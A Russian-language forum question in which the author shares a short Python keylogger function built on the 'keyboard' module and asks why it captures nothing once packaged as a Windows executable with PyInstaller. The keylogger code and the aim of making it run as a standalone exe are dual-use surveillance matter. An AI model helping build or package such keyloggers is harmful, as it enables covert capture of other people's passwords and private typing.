Я написал функцию кейлоггера в Python 3.6 для Windows 10, используя модуль (клавиатура).Он отлично работает, когда я запускаю его на Python и фиксирует все нажатия клавиш.Тем не менее, когда я конвертирую его в исполняемый файл с помощью Pyinstaller (3.4), он ничего не захватывает, независимо от того, на каких клавишах я нажимаю.
код:
import keyboard
def keylogger():
keyboard.start_recording()
sleep(20)
gen = keyboard.stop_recording()
logs = str(list(keyboard.get_typed_strings(gen)))
return logs
Почему нетон захватывает нажатия клавиш при конвертации в exe?Это связано с ограничениями доступа Windows или отсутствующим импортом в Pyinstaller?